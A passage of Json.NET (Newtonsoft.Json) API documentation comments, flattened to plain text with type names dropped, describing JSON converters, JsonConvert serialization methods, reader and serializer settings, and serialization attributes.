serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a F# discriminated union type to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an Entity Framework to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously skips the children of the current token. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references 